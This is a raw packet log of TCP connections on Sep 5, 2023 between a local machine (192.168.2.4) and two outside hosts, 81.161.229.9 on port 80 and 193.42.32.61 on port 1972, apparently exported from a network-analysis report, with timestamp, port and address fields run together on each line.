                                  Sep 5, 2023 22:20:44.288245916 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288248062 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288292885 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288330078 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288340092 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288384914 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288398027 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288429976 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288475037 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288477898 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288518906 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288552046 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288563967 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288604021 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288609028 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288655043 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288680077 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288701057 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288744926 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288748026 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288783073 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288821936 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288897038 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.486299992 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.486390114 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.486458063 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.486464977 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.486522913 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.486522913 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.486578941 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.486591101 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.486659050 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.486661911 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.486722946 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.486728907 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.486784935 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.486871958 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.514828920 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.514894962 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.514955997 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515008926 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515019894 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515084028 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515086889 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515151978 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515187025 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515219927 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515280008 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515286922 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515399933 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515420914 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515516996 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515517950 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515585899 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515605927 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515652895 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515670061 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515721083 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.515733004 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.515938997 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:47.084995031 CEST497071972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:20:47.328732967 CEST197249707193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:20:47.328965902 CEST497071972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:20:47.342992067 CEST497071972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:20:47.597978115 CEST197249707193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:20:47.639537096 CEST497071972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:20:47.883093119 CEST197249707193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:20:47.889535904 CEST497071972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:20:48.177668095 CEST197249707193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:20:48.177803040 CEST497071972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:20:48.474328041 CEST197249707193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:20:48.495493889 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:56.817971945 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:57.046230078 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:57.046492100 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:57.802153111 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.030319929 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.030740023 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.030812979 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.030873060 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.030910015 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.030925035 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.030970097 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.030977964 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.031025887 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.031069994 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.031085014 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.031128883 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.031172991 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.031179905 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.031219959 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.031275034 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.258980036 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259051085 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259098053 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259141922 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259145975 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259192944 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259206057 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259241104 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259285927 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259288073 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259330034 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259375095 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259375095 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259422064 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259469032 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259495974 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259540081 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259589911 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259596109 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259635925 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259682894 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259684086 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259732962 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259777069 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259778976 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259824038 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259867907 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.259871006 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259917974 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.259967089 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.487838030 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.487903118 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.487950087 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.487996101 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488008022 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488043070 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488075972 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488091946 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488140106 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488147020 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488185883 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488231897 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488235950 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488277912 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488325119 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488334894 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488370895 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488420010 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488425970 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488466978 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488512039 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488516092 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488559008 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488606930 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488610029 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488652945 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488698959 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488704920 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488744974 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488789082 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488794088 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488833904 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488878965 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488883972 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.488925934 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488970995 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.488974094 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489016056 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489061117 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489068985 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489106894 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489156961 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489161015 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489202023 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489247084 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489252090 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489291906 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489336967 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489337921 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489387989 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489437103 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489449978 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489499092 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489541054 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489547014 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489586115 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489629984 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489638090 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.489676952 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.489732981 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.717962980 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718040943 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718089104 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718137980 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718137980 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718187094 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718199015 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718238115 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718286991 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718291998 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718333960 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718386889 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718398094 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718446970 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718492031 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718498945 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718539953 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718585968 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718595028 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718636036 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718682051 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718687057 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718728065 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718774080 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718777895 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718821049 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718866110 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718873024 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.718911886 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718957901 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.718961000 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719005108 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719048977 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719053984 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719094992 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719141960 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719146967 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719191074 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719235897 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719242096 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719283104 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719329119 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719332933 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719376087 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719423056 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719428062 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719505072 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719551086 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719558001 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719600916 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719649076 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719660044 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719695091 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719741106 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719758034 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719786882 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719831944 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719835043 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719863892 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719911098 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.719917059 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.719957113 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720004082 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720011950 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.720048904 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720094919 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720101118 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.720139980 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720185995 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720192909 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.720232964 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720278025 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720282078 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.720324039 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.720407963 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948180914 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948231936 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948271990 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948302984 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948335886 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948342085 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948368073 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948391914 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948401928 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948412895 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948436022 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948467016 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948491096 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948499918 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948533058 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948559046 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948561907 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948594093 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948612928 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948628902 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948661089 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948688984 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948692083 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948723078 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948750973 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948753119 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948784113 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948811054 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948815107 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948847055 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948872089 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948878050 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948909998 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948932886 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.948940039 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948973894 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.948996067 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949007034 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949039936 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949069977 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949085951 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949101925 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949134111 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949135065 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949166059 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949192047 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949198008 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949229002 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949254036 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949260950 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949294090 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949320078 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949322939 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949356079 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949376106 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949387074 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949418068 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949440956 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949448109 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949479103 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949501038 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949521065 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949553013 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949574947 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949584961 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949616909 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949644089 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949649096 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949681044 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949702978 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949712038 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949743032 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949768066 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:58.949773073 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:58.949826002 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:59.177654028 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.177752018 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.177823067 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.177875042 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:59.177892923 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.177963018 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.177963018 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:59.178030968 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.178086042 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.178100109 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:59.178133965 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.178184986 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.178190947 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:59.178237915 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.178287029 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:59.178291082 CEST4970880192.168.2.481.161.229.9
